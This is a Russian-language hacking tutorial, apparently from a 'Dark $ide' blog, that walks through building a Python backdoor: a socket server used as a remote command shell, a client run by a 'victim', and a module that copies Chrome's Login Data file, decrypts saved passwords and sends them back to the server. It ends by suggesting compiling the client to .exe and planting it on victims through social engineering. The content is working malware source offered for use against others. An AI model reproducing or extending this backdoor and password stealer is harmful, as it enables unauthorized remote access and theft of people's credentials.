August 15, 2019

Свой мини-бэкдор на Python. {Black Coding}

https://teleg.one/darkside_team

Привет, хацкер. Сегодня мы напишем свой карманный бэкдор на всё том же питоне.

Перед тем, как мы приступим к кодингу, разберём, из чего состоит бэкдор.

Бэкдор состоит из двух приложений:

  1. Клиент
  2. Сервер

Клиент - наш вредоносный файл, который запускает жертва, а после отправляет запрос к нашему серверу, для получения последующих команд.

Сервер - наша командная оболочка, для отправки команд на заражённый компьютер.

Coding Time!

Сервер.

Сначала мы импортируем модуль sockets и создаем сам сокет. AF_INET используется для адреса IPv4, SOCK_STREAM обозначает TCP коннект.

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

Мы берем 2 переменные: ip, которая является строкой,содержащей IP-адрес сервера, и порт содержит адрес порта, который является целым числом.

Сокеты не могут быть использованы повторно, иногда мы можем сталкиватся с ошибками при использовании сокетов . Поэтому мы используем:

s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)

чтобы уменьшить появления вероятных ошибок.

Пройдёмся по переменным/функциям, которые мы будем использовать:

  • s.bind() используется для привязки сокета к адресу.
  • Аргумент, listen(n)указывающий библиотеке сокетов, что мы хотим, чтобы она поставила в очередь до n запросов на подключение.
  • s.accept() используется для принятия соединения.
  • conn - это новый объект сокета, используемый для отправки и получения данных о соединении, а addr - это адрес, связанный с сокетом на другом конце соединения.
  • s.send() будет отправлять данные клиенту и s.recv() использовать для получения данных от клиента. Данные, передаваемые по сети, должны быть в байтах . Поэтому мы используем префикс b для строки или .encode () для переменной.

Код сервера:

# Server / @darkside_team
import socket
ip = "127.0.0.1"
port = 5552
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((ip,port))
s.listen(1)
conn,addr=s.accept()
print('[+]Connected to ',addr)
conn.send(b"hello")
response=conn.recv(1024)
print(response)

Клиент.
  • s.connect() используется для подключения к серверу.
  • Для получения данных с сервера s.recv()используется аргумент int, передающий число байтов, которые необходимо получить. s.send() используется для отправки данных на сервер с клиента.
#Client / @darkside_team
import socket
ip = "127.0.0.1"
port = 5552
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.connect((ip,port))
response=s.recv(1024)
s.send(b"Hello")
print("Data sent!")

Приступим к тесту! Сначала запускаем server.py для прослушки соединений:

python server.py

Затем запускаем клиент:

python client.py

Как только client.py сработает, мы получаем такое уведомление:

Мы создали Python-сервер и клиент, которые могут общаться друг с другом используя сеть.

Модули для бэкдора.

Сейчас напишем несколько простых/базовых команд, которые будут выполняться на стороне клиента.

Начнём с простой команды cwd, которая будет выводить текущую директорию

Редактируем client.py:

import os
elif command == b'cwd':
		thisdir = os.getcwd()
		output = bytes(thisdir, 'utf-8')
		s.send(output)

Создаём команду для сервера, которая отправляет команду клиенту и получает вывод.

while True:
	command=input("Shell>>")
	if command=='exit':
		conn.send(b'exit')
		conn.close()
		break
	else:
		conn.send(command.encode())
		output=conn.recv(1024)
		print(output) 

Тестим:

Теперь добавим модуль стилера.

В client добавим необходимые библиотеки:

import sqlite3
import win32crypt
import shutil

Затем добавляем обработку команды и сам код стиллера:

elif command == b'passwords':
		def Chrome():
			text = ""
			if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'):
				shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data', os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
				conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
				cursor = conn.cursor()
				cursor.execute('SELECT action_url, username_value, password_value FROM logins')
				for result in cursor.fetchall():
					password = win32crypt.CryptUnprotectData(result[2])[1].decode()
					login = result[1]
					url = result[0]
					if password != '':
						text += url + ' | ' + login + ' | ' + password
						return text
		output = bytes(str(Chrome()), 'utf-8')
		s.send(output)

Снова тетстим:

Оно живое!

Заключение.

Для комфортного использования бэкдора со стороны жертвы можно скомпилировать наш файл в .exe, и методами СИ подкинуть бэкдор нашей жертве. Надеюсь, эта статья была для тебя полезной. На этом всё, удачи тебе, хацкер.

Dark $ide - Твоя Тёмная Сторона.